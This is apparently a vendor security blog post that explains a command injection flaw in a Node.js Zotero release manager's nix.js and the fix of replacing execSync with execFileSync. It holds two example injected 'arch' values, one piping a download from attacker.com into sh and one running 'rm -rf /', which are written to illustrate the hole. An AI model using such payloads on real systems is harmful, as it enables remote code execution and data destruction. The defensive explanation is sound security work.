How Command Injection happens in Node.js child_process and how to fix it

Introduction

In a Node.js package managing Zotero releases for Nix, we discovered a high-severity command injection vulnerability in nix.js at line 34. The Release class's hash fetching logic used execSync() with string concatenation, creating a command injection vector through the arch parameter. While the immediate exploitability depends on how arch is controlled by callers, this pattern represents a dangerous exploit primitive that automated attack tools could chain with other vulnerabilities.

The vulnerable code constructed a shell command by concatenating the arch variable directly into a command string passed to execSync(). If an attacker could influence the arch value—perhaps through a supply chain attack, compromised configuration, or upstream data source—they could inject arbitrary shell commands using metacharacters like ;, |, or backticks.

The Vulnerability Explained

The vulnerability existed in the Release class's hash fetching logic. Here's the problematic code from line 33-34:

const cmd = `nix --extra-experimental-features "nix-command flakes" store prefetch-file --json --name '${name}' '${this.url}'`
const result = execSync(cmd, { encoding: 'utf8' })

The name variable is constructed from several inputs, including the arch parameter:

const name = `zotero-${channel}-${version.replace(/\+/g, '.')}-${arch}.tar.xz`

The critical problem: execSync() invokes a shell to interpret the command string. This means any shell metacharacters in the interpolated variables will be executed as commands, not treated as literal data.

Attack Scenario

Consider if an attacker could control or influence the arch parameter through:
- A compromised dependency that provides architecture detection
- Malicious data in an upstream configuration file
- A supply chain attack on a package that calls this code

An attacker could set arch to something like:

arch = "x64'; curl http://attacker.com/malware.sh | sh; echo 'pwned"

This would result in the following command being executed:

nix --extra-experimental-features "nix-command flakes" store prefetch-file --json --name 'zotero-stable-7.0.0-x64'; curl http://attacker.com/malware.sh | sh; echo 'pwned.tar.xz' 'https://...'

The shell would interpret the semicolons as command separators, executing:
1. The legitimate nix command (which would fail)
2. curl http://attacker.com/malware.sh | sh (downloading and executing malicious code)
3. echo 'pwned.tar.xz' (completing the injection)

The real-world impact for this Node.js library is significant because it affects all downstream consumers. Any application using this package to manage Zotero releases could be compromised if the arch parameter comes from an untrusted source.

The Fix

The fix elegantly eliminates the vulnerability by replacing execSync() with execFileSync() and passing arguments as an array:

Before (vulnerable):

const cmd = `nix --extra-experimental-features "nix-command flakes" store prefetch-file --json --name '${name}' '${this.url}'`
const result = execSync(cmd, { encoding: 'utf8' })

After (secure):

const result = execFileSync('nix', ['--extra-experimental-features', 'nix-command flakes', 'store', 'prefetch-file', '--json', '--name', name, this.url], { encoding: 'utf8' })

This change provides multiple security improvements:

1. No shell interpretation: execFileSync() directly executes the nix binary without spawning a shell, eliminating the attack surface entirely.

2. Argument array: By passing arguments as an array, each element is treated as a literal argument to the nix command. Shell metacharacters in name or this.url are passed as-is to the program, not interpreted by a shell.

3. Explicit separation: The executable ('nix') is clearly separated from its arguments, making the code's intent obvious and preventing argument injection into the command name itself.

Even if an attacker controls arch and injects "x64'; rm -rf /", it would simply be passed as a literal string to the --name parameter of the nix command. The nix program would receive:

--name
zotero-stable-7.0.0-x64'; rm -rf /.tar.xz

The nix program would treat this as a filename (albeit an invalid one), not as shell commands to execute.

Key Takeaways

• Never use execSync() with string interpolation: The nix.js vulnerability shows how string concatenation in shell commands creates injection vectors, even when exploitability isn't immediately obvious.

• execFileSync() with argument arrays is the secure pattern: Line 33's fix demonstrates the correct approach—pass the executable name and arguments separately to bypass shell interpretation entirely.

• The arch parameter in the Release class was the tainted data flow: Even seemingly internal parameters can become attack vectors if they originate from external sources or dependencies.

• Exploit primitives matter: While this specific code path may not be directly exploitable today, removing dangerous patterns prevents future vulnerabilities as the codebase evolves and automated attack tools become more sophisticated.

• One-line fixes can eliminate entire vulnerability classes: Replacing execSync() with execFileSync() required minimal code changes but completely eliminated the command injection risk.

How Orbis AppSec Detected This

• Source: The arch parameter passed to the Release class constructor, which flows into the name variable construction
• Sink: execSync() call at line 34 in nix.js, which executes a shell command with interpolated user-controllable data
• Missing control: No input validation or sanitization on the arch parameter before shell command construction; use of shell-interpreting execSync() instead of safer alternatives
• CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
• Fix: Replaced execSync() with execFileSync() and converted the command string to an argument array, eliminating shell interpretation

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This command injection vulnerability in nix.js demonstrates how even well-intentioned code can create security risks when using shell-interpreting functions like execSync(). The fix—replacing it with execFileSync() and using argument arrays—is a textbook example of defensive programming that eliminates an entire class of vulnerabilities.

For Node.js developers, the lesson is clear: treat execSync() with extreme caution, prefer execFileSync() or spawn() with argument arrays, and use static analysis tools to catch these patterns before they reach production. By removing exploit primitives proactively, we raise the bar against increasingly sophisticated automated attack tools and protect downstream consumers of our code.